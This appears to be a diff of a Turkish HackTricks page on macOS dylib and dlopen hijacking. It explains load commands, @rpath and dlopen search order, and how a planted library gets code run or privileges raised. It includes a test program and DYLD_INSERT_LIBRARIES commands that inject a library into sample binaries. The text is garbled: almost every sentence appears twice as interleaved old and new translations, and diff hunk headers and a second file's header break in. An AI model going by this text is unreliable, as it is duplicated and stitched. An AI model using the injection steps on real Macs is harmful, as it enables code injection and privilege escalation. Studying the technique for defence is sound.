Windows'ta olduğu gibi, MacOS'ta da **dylib'leri kaçırabilir** ve **uygulamaların** **keyfi** **kod** **çalıştırmasını** sağlayabilirsiniz (aslında bir düzenli kullanıcıdan bu mümkün olmayabilir, çünkü bir `.app` paketi içine yazmak ve bir kütüphaneyi kaçırmak için bir TCC iznine ihtiyacınız olabilir).\
Ancak, MacOS uygulamalarının kütüphaneleri yükleme şekli Windows'tan daha kısıtlıdır. Bu, **kötü amaçlı yazılım** geliştiricilerinin bu tekniği **gizlilik** için kullanabileceği ancak **bu kullanarak ayrıcalıkları yükseltmeyi kötüye kullanma olasılığının çok daha düşük olduğu anlamına gelir**.
Windows'ta olduğu gibi, MacOS'ta da **dylib'leri ele geçirebilirsiniz** ve **uygulamaların** **keyfi** **kod** **çalıştırmasını** sağlayabilirsiniz (aslında, normal bir kullanıcıdan bu mümkün olmayabilir çünkü bir `.app` paketinin içine yazmak için bir TCC iznine ihtiyacınız olabilir ve bir kütüphaneyi ele geçirebilirsiniz).\
Ancak, **MacOS** uygulamalarının kütüphaneleri **yükleme şekli**, Windows'tan **daha kısıtlıdır**. Bu, **kötü amaçlı yazılım** geliştiricilerinin bu tekniği **gizlilik** için kullanabileceği anlamına gelir, ancak **yetki yükseltmek için bunu kötüye kullanma olasılığı çok daha düşüktür**.
Öncelikle, **MacOS ikili dosyalarının kütüphaneleri yüklemek için tam yolunu belirttiğini** görmek **daha yaygındır**. İkinci olarak, **MacOS asla** kütüphaneler için **$PATH** klasörlerinde arama yapmaz.
Öncelikle, **MacOS ikililerinin kütüphaneleri yüklemek için tam yolu belirtmesi** daha yaygındır. İkincisi, **MacOS asla** kütüphaneler için **$PATH** klasörlerinde arama yapmaz.
Bu işlevselliğe ilişkin **ana** kod parçası, `ImageLoader.cpp` içindeki **`ImageLoader::recursiveLoadLibraries`** işlevindedir.
Bu işlevselliğe ilişkin **kodun** ana kısmı **`ImageLoader::recursiveLoadLibraries`** içinde `ImageLoader.cpp` dosyasındadır.
Bir macho ikili dosyanın yüklemek için kullanabileceği **4 farklı başlık Komutu** vardır:
Bir macho ikili dosyasının kütüphaneleri yüklemek için kullanabileceği **4 farklı başlık Komutu** vardır:
* **`LC_LOAD_DYLIB`** komutu bir dylib yüklemek için yaygın bir komuttur.
* **`LC_LOAD_WEAK_DYLIB`** komutu öncekiyle aynı şekilde çalışır, ancak dylib bulunamazsa, herhangi bir hata olmadan yürütme devam eder.
* **`LC_REEXPORT_DYLIB`** komutu sembolleri başka bir kütüphaneden proxy (veya yeniden ihraç) eder.
* **`LC_LOAD_UPWARD_DYLIB`** komutu birbirlerine bağımlı iki kütüphane olduğunda kullanılır (buna _yukarı bağımlılık_ denir).
* **`LC_LOAD_DYLIB`** komutu, bir dylib yüklemek için yaygın komuttur.
* **`LC_LOAD_WEAK_DYLIB`** komutu, önceki gibi çalışır, ancak dylib bulunamazsa, yürütme hatasız devam eder.
* **`LC_REEXPORT_DYLIB`** komutu, farklı bir kütüphaneden sembolleri proxy'ler (veya yeniden ihraç eder).
* **`LC_LOAD_UPWARD_DYLIB`** komutu, iki kütüphanenin birbirine bağımlı olduğu durumlarda kullanılır (bu, _yukarı bağımlılık_ olarak adlandırılır).
Ancak, **2 tür dylib kaçırma** vardır:
Ancak, **2 tür dylib ele geçirme** vardır:
* **Zayıf bağlantılı kütüphanelerin eksik olması**: Bu, uygulamanın **LC\_LOAD\_WEAK\_DYLIB** ile yapılandırılmış olmayan bir kütüphaneyi yüklemeye çalışacağı anlamına gelir. Sonra, **saldırgan bir dylib'i beklenen yere yerleştirirse yüklenecektir**.
* Bağlantının "zayıf" olduğu gerçeği, uygulamanın kütüphanenin bulunamaması durumunda çalışmaya devam edeceği anlamına gelir.
* Bu işle ilgili **kod**, `ImageLoaderMachO.cpp`'deki `ImageLoaderMachO::doGetDependentLibraries` işlevindedir, burada `lib->required` yalnızca `LC_LOAD_WEAK_DYLIB` doğru olduğunda `false` olur.
* **Zayıf bağlantılı kütüphaneleri** aşağıdaki gibi ikililerde bulabilirsiniz (kütüphane kaçırma kütüphaneleri oluşturma örneğine daha sonra bakacaksınız):
* **Eksik zayıf bağlantılı kütüphaneler**: Bu, uygulamanın **LC\_LOAD\_WEAK\_DYLIB** ile yapılandırılmış bir kütüphaneyi yüklemeye çalışacağı anlamına gelir. Sonra, **bir saldırgan beklenen yere bir dylib yerleştirirse, yüklenir**.
* Bağlantının "zayıf" olması, kütüphane bulunmasa bile uygulamanın çalışmaya devam edeceği anlamına gelir.
* Bununla ilgili **kod**, `ImageLoaderMachO::doGetDependentLibraries` fonksiyonundadır; burada `lib->required` yalnızca `LC_LOAD_WEAK_DYLIB` doğru olduğunda `false` olur.
* **Zayıf bağlantılı kütüphaneleri** ikililerde bulmak için (daha sonra ele geçirme kütüphaneleri oluşturma örneğiniz var):
* ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
@ -102,26 +103,26 @@ time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
* **@rpath ile yapılandırılmış**: Mach-O ikili dosyaları **`LC_RPATH`** ve **`LC_LOAD_DYLIB`** komutlarına sahip olabilir. Bu komutların **değerlerine** bağlı olarak, kütüphaneler **farklı dizinlerden** yüklenecektir.
* **`LC_RPATH`**, ikilinin kütüphaneleri yüklemek için kullandığı bazı klasörlerin yollarını içerir.
* **`LC_LOAD_DYLIB`** belirli kütüphaneleri yüklemek için yol içerir. Bu yollar **`@rpath`** içerebilir, bu değerlerle **`LC_RPATH`** içindeki değerlerle **değiştirilecektir**. Eğer **`LC_RPATH`** içinde birden fazla yol varsa, her biri yüklemek için kullanılacaktır. Örnek:
* Eğer **`LC_LOAD_DYLIB`** `@rpath/library.dylib` içeriyorsa ve **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` ve `/application/app.app/Contents/Framework/v2/` içeriyorsa. Her iki klasör de `library.dylib`'i yüklemek için kullanılacaktır. Eğer kütüphane `[...]/v1/` içinde bulunmuyorsa ve saldırgan onu oraya yerleştirebilirse, kütüphanenin yüklenmesini `[...]/v2/` içindeki kütüphanenin yüklenmesini ele geçirmek için kullanabilir, çünkü **`LC_LOAD_DYLIB`** içindeki yol sırası takip edilir.
* **Binarylerde rpath yollarını ve kütüphaneleri** bulmak için: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
* **@rpath ile yapılandırılmış**: Mach-O ikili dosyaları **`LC_RPATH`** ve **`LC_LOAD_DYLIB`** komutlarına sahip olabilir. Bu komutların **değerlerine** dayanarak, **kütüphaneler** **farklı dizinlerden** **yüklenir**.
* **`LC_RPATH`**, ikili dosya tarafından kütüphaneleri yüklemek için kullanılan bazı klasörlerin yollarını içerir.
* **`LC_LOAD_DYLIB`**, yüklenmesi gereken belirli kütüphanelerin yolunu içerir. Bu yollar **`@rpath`** içerebilir; bu, **`LC_RPATH`** içindeki değerlerle **değiştirilecektir**. **`LC_RPATH`** içinde birden fazla yol varsa, her biri yüklenmesi gereken kütüphaneyi aramak için kullanılacaktır. Örnek:
* Eğer **`LC_LOAD_DYLIB`** `@rpath/library.dylib` içeriyorsa ve **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` ve `/application/app.app/Contents/Framework/v2/` içeriyorsa. Her iki klasör de `library.dylib` yüklemek için kullanılacaktır. Eğer kütüphane `[...]/v1/` içinde yoksa, bir saldırgan oraya yerleştirerek `[...]/v2/` içindeki kütüphanenin yüklenmesini ele geçirebilir; çünkü **`LC_LOAD_DYLIB`** içindeki yolların sırası takip edilir.
* **Rpath yollarını ve kütüphaneleri** ikililerde bulmak için: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: **Ana yürütülebilir dosya**yı içeren dizinin **yolu**dur.
**`@executable_path`**: **Ana yürütülebilir dosyanın** bulunduğu dizinin **yoludur**.
**`@loader_path`**: **Yük komutunu içeren Mach-O binary**'nin bulunduğu **dizin**in yolu.
**`@loader_path`**: **Yükleme komutunu içeren** **Mach-O ikili dosyasının** bulunduğu **dizinin yoludur**.
* Bir yürütülebilir dosyada kullanıldığında, **`@loader_path`** etkili bir şekilde **`@executable_path`** ile **aynıdır**.
* Bir **dylib**'de kullanıldığında, **`@loader_path`** **dylib**'in yolunu verir.
* Bir **dylib** içinde kullanıldığında, **`@loader_path`** **dylib'in** **yolunu** verir.
{% endhint %}
Bu işlevselliği **istismar ederek ayrıcalıkları yükseltmenin** yolu, nadir bir durumda **kök** tarafından **çalıştırılan bir uygulamanın**, saldırganın yazma izinlerine sahip olduğu bir klasördeki bazı **kütüphaneyi aradığı** durumdur.
Bu işlevselliği kötüye kullanarak **yetki yükseltmenin** yolu, **root** tarafından **çalıştırılan** bir **uygulamanın**, **saldırganın yazma izinlerine sahip olduğu bir klasörde** bazı **kütüphaneleri arıyor olması** durumunda olacaktır.
{% hint style="success" %}
Uygulamalardaki **eksik kütüphaneleri bulmak** için güzel bir **tarama aracı** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) veya bir [**CLI sürümü**](https://github.com/pandazheng/DylibHijack) bulunabilir.\
Bu teknik hakkında teknik detaylar içeren güzel bir **rapor** [**burada**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) bulunabilir.
Uygulamalardaki **eksik kütüphaneleri** bulmak için güzel bir **tarayıcı** [**Dylib Hijack Tarayıcı**](https://objective-see.com/products/dhs.html) veya bir [**CLI versiyonu**](https://github.com/pandazheng/DylibHijack) vardır.\
Bu teknikle ilgili **teknik detaylar** içeren güzel bir **rapor** [**burada**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) bulunabilir.
{% endhint %}
**Örnek**
@ -130,68 +131,68 @@ Bu teknik hakkında teknik detaylar içeren güzel bir **rapor** [**burada**](ht
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dlopen Hijacking
## Dlopen Ele Geçirme
{% hint style="danger" %}
**Dlopen** hile saldırıları gerçekleştirmek için **önceki Kütüphane Doğrulama** kısıtlamalarını da hatırlayın.
Unutmayın ki **önceki Kütüphane Doğrulama kısıtlamaları da** Dlopen ele geçirme saldırılarını gerçekleştirmek için geçerlidir.
{% endhint %}
**`man dlopen`**'dan:
* Yol **eğik çizgi karakteri içermiyorsa** (yani sadece bir yaprak adı ise), **dlopen() arama yapacaktır**. Eğer başlangıçta **`$DYLD_LIBRARY_PATH`** ayarlanmışsa, dyld önce o dizinde bakacaktır. Sonra, çağıran mach-o dosyası veya ana yürütülebilir dosya bir **`LC_RPATH`** belirtiyorsa, dyld o dizinlere bakacaktır. Sonra, işlem **kısıtlanmamışsa**, dyld **mevcut çalışma dizininde** arayacaktır. Son olarak, eski binaryler için dyld bazı yedek aramalar yapacaktır. Eğer başlangıçta **`$DYLD_FALLBACK_LIBRARY_PATH`** ayarlanmışsa, dyld o dizinlerde arayacaktır, aksi takdirde dyld **`/usr/local/lib/`**'de (işlem kısıtlanmamışsa) ve ardından **`/usr/lib/`**'de bakacaktır (bu bilgi **`man dlopen`**'dan alınmıştır).
* Yol **bir eğik çizgi karakteri** içermiyorsa (yani sadece bir yaprak adıysa), **dlopen() arama yapacaktır**. Eğer **`$DYLD_LIBRARY_PATH`** başlatıldığında ayarlandıysa, dyld önce **o dizinde** **bakacaktır**. Sonra, eğer çağrılan mach-o dosyası veya ana yürütülebilir dosya bir **`LC_RPATH`** belirtiyorsa, dyld **o dizinlerde** **bakacaktır**. Sonra, eğer süreç **kısıtlı değilse**, dyld **geçerli çalışma dizininde** arama yapacaktır. Son olarak, eski ikililer için, dyld bazı yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_LIBRARY_PATH`** başlatıldığında ayarlandıysa, dyld **o dizinlerde** arama yapacaktır, aksi takdirde dyld **`/usr/local/lib/`** (eğer süreç kısıtlı değilse) ve sonra **`/usr/lib/`** içinde arama yapacaktır (bu bilgi **`man dlopen`**'dan alınmıştır).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD` (kısıtlanmamışsa)
3. `CWD`(eğer kısıtlı değilse)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/` (kısıtlanmamışsa)
5. `/usr/local/lib/` (eğer kısıtlı değilse)
6. `/usr/lib/`
{% hint style="danger" %}
İsimde eğik çizgi yoksa, bir hile yapmanın 2 yolu olabilir:
Eğer isimde eğik çizgi yoksa, ele geçirme yapmak için 2 yol olacaktır:
* Eğer herhangi bir **`LC_RPATH`** **yazılabilirse** (ancak imza kontrol edilir, bu nedenle bunun için binary'nin de kısıtlanmamış olması gerekir)
* Eğer binary **kısıtlanmamışsa** ve ardından CWD'den bir şey yüklemek mümkün olabilir (veya belirtilen ortam değişkenlerinden birini kötüye kullanmak)
* Eğer herhangi bir **`LC_RPATH`** **yazılabilir** ise (ancak imza kontrol edilir, bu nedenle bunun için ikilinin de kısıtlı olmaması gerekir)
* Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den bir şey yüklemek mümkünse (veya bahsedilen env değişkenlerinden birini kötüye kullanarak)
{% endhint %}
* Yol **bir çerçeve yolu gibi görünüyorsa** (örneğin `/stuff/foo.framework/foo`), başlangıçta **`$DYLD_FRAMEWORK_PATH`** ayarlanmışsa, dyld önce o dizinde **çerçeve kısmi yolunu** (örneğin `foo.framework/foo`) arayacaktır. Sonra, dyld **verilen yolu olduğu gibi deneyecektir** (ilişkisel yollar için mevcut çalışma dizinini kullanarak). Son olarak, eski binaryler için dyld bazı yedek aramalar yapacaktır. Eğer başlangıçta **`$DYLD_FALLBACK_FRAMEWORK_PATH`** ayarlanmışsa, dyld o dizinlerde arayacaktır. Aksi takdirde, **`/Library/Frameworks`**'de (macOS'ta işlem kısıtlanmamışsa), ardından **`/System/Library/Frameworks`**'de arayacaktır.
* Yol **bir çerçeve** yolu gibi görünüyorsa (örneğin, `/stuff/foo.framework/foo`), eğer **`$DYLD_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld önce o dizinde **çerçeve kısmi yolunu** (örneğin, `foo.framework/foo`) arayacaktır. Sonra, dyld **sağlanan yolu olduğu gibi** deneyecektir (göreli yollar için geçerli çalışma dizinini kullanarak). Son olarak, eski ikililer için, dyld bazı yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_FRAMEWORK_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır. Aksi takdirde, **`/Library/Frameworks`** (macOS'ta eğer süreç kısıtlı değilse) ve sonra **`/System/Library/Frameworks`** içinde arama yapacaktır.
1. `$DYLD_FRAMEWORK_PATH`
2. verilen yol (ilişkisel yollar için mevcut çalışma dizinini kullanarak kısıtlanmamışsa)
2. sağlanan yol (eğer kısıtlı değilse göreli yollar için geçerli çalışma dizinini kullanarak)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (kısıtlanmamışsa)
4. `/Library/Frameworks` (eğer kısıtlı değilse)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
Bir çerçeve yolu ise, bunu ele geçirmenin yolu şöyle olacaktır:
Eğer bir çerçeve yolu ise, ele geçirme yolu şöyle olacaktır:
* İşlem **kısıtlanmamışsa**, CWD'den **ilişkisel yol**u kötüye kullanmak, belirtilen ortam değişkenleri (eğer belgelerde işlem kısıtlıysa DYLD\_\* ortam değişkenleri kaldırılır denilmediği için)
* Eğer süreç **kısıtlı değilse**, bahsedilen env değişkenlerinden **CWD'den göreli yolu** kötüye kullanarak (belgelere göre süreç kısıtlıysa DYLD\_\* env değişkenleri kaldırılır)
{% endhint %}
* Yol **eğik çizgi içeriyorsa ancak bir çerçeve yolu değilse** (yani bir dylib için tam yol veya kısmi yol), dlopen() önce (ayarlanmışsa) **`$DYLD_LIBRARY_PATH`**'de (yolun yaprak kısmıyla) bakacaktır. Sonra, dyld **verilen yolu deneyecektir** (ilişkisel yollar için mevcut çalışma dizinini kullanarak (ancak sadece kısıtlanmamış işlemler için)). Son olarak, eski binaryler için dyld bazı yedek aramalar yapacaktır. Eğer başlangıçta **`$DYLD_FALLBACK_LIBRARY_PATH`** ayarlanmışsa, dyld o dizinlerde arayacaktır, aksi takdirde dyld **`/usr/local/lib/`**'de (işlem kısıtlanmamışsa) ve ardından **`/usr/lib/`**'de bakacaktır.
* Yol **bir eğik çizgi içeriyorsa ancak bir çerçeve yolu değilse** (yani bir tam yol veya bir dylib'e giden kısmi yol), dlopen() önce (eğer ayarlandıysa) **`$DYLD_LIBRARY_PATH`** içinde (yolun yaprak kısmıyla) arar. Sonra, dyld **sağlanan yolu** dener (geçerli çalışma dizinini göreli yollar için kullanarak (ancak yalnızca kısıtlı olmayan süreçler için)). Son olarak, eski ikililer için, dyld yedeklemeleri deneyecektir. Eğer **`$DYLD_FALLBACK_LIBRARY_PATH`** başlatıldığında ayarlandıysa, dyld o dizinlerde arama yapacaktır, aksi takdirde dyld **`/usr/local/lib/`** (eğer süreç kısıtlı değilse) ve sonra **`/usr/lib/`** içinde arama yapacaktır.
1. `$DYLD_LIBRARY_PATH`
2. verilen yol (ilişkisel yollar için mevcut çalışma dizinini kullanarak kısıtlanmamışsa)
2. sağlanan yol (eğer kısıtlı değilse göreli yollar için geçerli çalışma dizinini kullanarak)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/` (kısıtlanmamışsa)
4. `/usr/local/lib/` (eğer kısıtlı değilse)
5. `/usr/lib/`
{% hint style="danger" %}
İsimde eğik çizgi varsa ve bir çerçeve değilse, bunu ele geçirmenin yolu şöyle olacaktır:
Eğer isimde eğik çizgiler varsa ve çerçeve değilse, ele geçirme yolu şöyle olacaktır:
* Eğer binary **kısıtlanmamışsa** ve ardından CWD'den veya `/usr/local/lib`'den bir şey yüklemek mümkün olabilir (veya belirtilen ortam değişkenlerinden birini kötüye kullanmak)
* Eğer ikili dosya **kısıtlı değilse** ve o zaman CWD'den veya `/usr/local/lib`'den bir şey yüklemek mümkünse (veya bahsedilen env değişkenlerinden birini kötüye kullanarak)
{% endhint %}
{% hint style="info" %}
Not: **Dlopen aramalarını kontrol etmek** için **yapılandırma dosyaları yoktur**.
Not: **dlopen aramasını kontrol etmek için** **hiçbir** yapılandırma dosyası yoktur.
Not: Ana yürütülebilir dosya **set\[ug]id binary veya ayrıcalıklarla kod imzalanmışsa**, o zaman **tüm ortam değişkenleri yok sayılır** ve yalnızca tam yol kullanılabilir (daha detaylı bilgi için [DYLD\_INSERT\_LIBRARIES kısıtlamalarını kontrol edin](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)).
Not: Eğer ana yürütülebilir dosya bir **set\[ug]id ikilisi veya yetkilerle kod imzalanmışsa**, o zaman **tüm çevresel değişkenler yok sayılır** ve yalnızca tam yol kullanılabilir ([daha fazla bilgi için DYLD\_INSERT\_LIBRARIES kısıtlamalarını kontrol edin](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions))
Not: Apple platformları, 32-bit ve 64-bit kütüphaneleri birleştirmek için "evrensel" dosyalar kullanır. Bu, **ayrı 32-bit ve 64-bit arama yollarının olmadığı anlamına gelir**.
Not: Apple platformları, 32 bit ve 64 bit kütüphaneleri birleştirmek için "evrensel" dosyalar kullanır. Bu, **ayrı 32 bit ve 64 bit arama yolları** olmadığı anlamına gelir.
Not: Apple platformlarında çoğu OS dylib'leri **dyld önbelleğine** birleştirilir ve diskte mevcut değildir. Bu nedenle, bir OS dylib'in var olup olmadığını ön izlemek için **`stat()`** çağrısı yapmak **çalışmaz**. Bununla birlikte, **`dlopen()`** aynı adımları kullanarak uyumlu bir mach-o dosyası bulmak için **`dlopen_preflight()`**'ı kullanır.
Not: Apple platformlarında çoğu OS dylib **dyld önbelleğine** **birleştirilmiştir** ve disk üzerinde mevcut değildir. Bu nedenle, bir OS dylib'in var olup olmadığını önceden kontrol etmek için **`stat()`** çağrısı **çalışmaz**. Ancak, **`dlopen_preflight()`**, uyumlu bir mach-o dosyasını bulmak için **`dlopen()`** ile aynı adımları kullanır.
{% endhint %}
**Yolları Kontrol Et**
Tüm seçenekleri aşağıdaki kodla kontrol edelim:
Aşağıdaki kod ile tüm seçenekleri kontrol edelim:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -234,27 +235,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
Eğer derlersen ve çalıştırırsan, **her kütüphane nerede başarısız bir şekilde arandığını görebilirsin**. Ayrıca, **FS günlüklerini filtreleyebilirsin**:
Eğer bunu derleyip çalıştırırsanız, **her bir kütüphanenin nerede başarısız bir şekilde arandığını** görebilirsiniz. Ayrıca, **FS günlüklerini filtreleyebilirsiniz**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Göreceli Yol Kaçırma
## Göreli Yol Kaçırma
Eğer bir **ayrıcalıklı ikili/uygulama** (örneğin SUID veya güçlü yetkilendirmelere sahip bir ikili) bir **göreceli yol** kütüphanesini yüklüyorsa (örneğin `@executable_path` veya `@loader_path` kullanarak) ve **Kütüphane Doğrulaması devre dışı bırakılmışsa**, saldırganın ikiliyi, saldırganın kod enjekte etmesi için kütüphanenin yüklendiği göreceli yolu değiştirebileceği ve kötüye kullanabileceği mümkün olabilir.
Eğer bir **yetkili ikili/uygulama** (örneğin bir SUID veya güçlü yetkilere sahip bir ikili) **göreli yol** kütüphanesi yüklüyorsa (örneğin `@executable_path` veya `@loader_path` kullanarak) ve **Kütüphane Doğrulaması devre dışıysa**, saldırganın **göreli yol yüklü kütüphaneyi** değiştirebileceği bir konuma ikiliyi taşıması mümkün olabilir ve bunu süreci kod enjekte etmek için kötüye kullanabilir.
## `DYLD_*` ve `LD_LIBRARY_PATH` çevresel değişkenlerini Temizle
## `DYLD_*` ve `LD_LIBRARY_PATH` çevre değişkenlerini temizle
`dyld-dyld-832.7.1/src/dyld2.cpp` dosyasında **`pruneEnvironmentVariables`** işlevini bulmak mümkündür, bu işlev **`DYLD_` ile başlayan** ve **`LD_LIBRARY_PATH=`** ile başlayan herhangi bir çevresel değişkeni kaldıracaktır.
`dyld-dyld-832.7.1/src/dyld2.cpp` dosyasında **`pruneEnvironmentVariables`** fonksiyonunu bulmak mümkündür; bu fonksiyon **`DYLD_`** ile başlayan ve **`LD_LIBRARY_PATH=`** olan herhangi bir çevre değişkenini kaldıracaktır.
Ayrıca, **suid** ve **sgid** ikililer için özellikle **`DYLD_FALLBACK_FRAMEWORK_PATH`** ve **`DYLD_FALLBACK_LIBRARY_PATH`** çevresel değişkenlerini **null** olarak ayarlayacaktır.
Ayrıca, **suid** ve **sgid** ikilileri için **`DYLD_FALLBACK_FRAMEWORK_PATH`** ve **`DYLD_FALLBACK_LIBRARY_PATH`** çevre değişkenlerini **null** olarak ayarlayacaktır.
Bu işlev, OSX hedefleniyorsa aynı dosyanın **`_main`** işlevinden şu şekilde çağrılır:
Bu fonksiyon, OSX hedef alındığında aynı dosyanın **`_main`** fonksiyonundan şu şekilde çağrılır:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
ve bu boolean bayrakları kod içinde aynı dosyada ayarlanır:
ve bu boolean bayrakları koddaki aynı dosyada ayarlanır:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -285,9 +286,9 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
Bu temelde, eğer ikili dosya **suid** veya **sgid** ise, başlıkta bir **RESTRICT** segmenti bulunuyorsa veya **CS\_RESTRICT** bayrağı ile imzalanmışsa, o zaman **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** doğru olacak ve çevre değişkenleri budanacak.
Hangi, temelde, eğer ikili **suid** veya **sgid** ise, veya başlıklarda bir **RESTRICT** segmenti varsa ya da **CS\_RESTRICT** bayrağı ile imzalanmışsa, o zaman **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** doğru ve env değişkenleri temizlenir.
CS\_REQUIRE\_LV doğruysa, değişkenler budanmayacak ancak kütüphane doğrulaması, bunların orijinal ikili dosya ile aynı sertifikayı kullandığını kontrol edecek.
CS\_REQUIRE\_LV doğruysa, o zaman değişkenler temizlenmeyecek ancak kütüphane doğrulaması, bunların orijinal ikili ile aynı sertifikayı kullandığını kontrol edecektir.
## Kısıtlamaları Kontrol Et
@ -302,14 +303,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### Bölüm `__RESTRICT` ile segment `__restrict`
### Section `__RESTRICT` with segment `__restrict`
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Güçlendirilmiş çalışma zamanı
### Hardenilmiş çalışma zamanı
Anahtarlıkta yeni bir sertifika oluşturun ve bunu ikili dosyaya imzalamak için kullanın:
Anahtar Zinciri'nde yeni bir sertifika oluşturun ve bunu ikili dosyayı imzalamak için kullanın:
{% code overflow="wrap" %}
```bash
@ -334,30 +335,31 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
Not edin ki, baytlarla imzalanmış ikili dosyalar olsa bile, yürütüldüğünde **`CS_RESTRICT`** bayrağını dinamik olarak alabilirler ve bu nedenle bu teknik onlarda çalışmayacaktır.
Dikkat edin ki, **`0x0(none)`** bayraklarıyla imzalanmış ikili dosyalar olsa bile, çalıştırıldıklarında dinamik olarak **`CS_RESTRICT`** bayrağını alabilirler ve bu nedenle bu teknik onlarda çalışmayacaktır.
Bu bayrağa sahip bir işlemin olup olmadığını kontrol edebilirsiniz ([buradan csops alın](https://github.com/axelexic/CSOps)):
Bir işlemin bu bayrağa sahip olup olmadığını kontrol edebilirsiniz (get [**csops burada**](https://github.com/axelexic/CSOps)):
```bash
csops -status <pid>
```
ve ardından bayrağın 0x800 etkin olup olmadığını kontrol edin.
ve ardından 0x800 bayrağının etkin olup olmadığını kontrol edin.
{% endhint %}
## Referanslar
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [**\*OS İç Yapıları, Cilt I: Kullanıcı Modu. Jonathan Levin tarafından**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,72 +1,73 @@
# macOS Dyld İşlemi
# macOS Dyld Süreci
{% hint style="success" %}
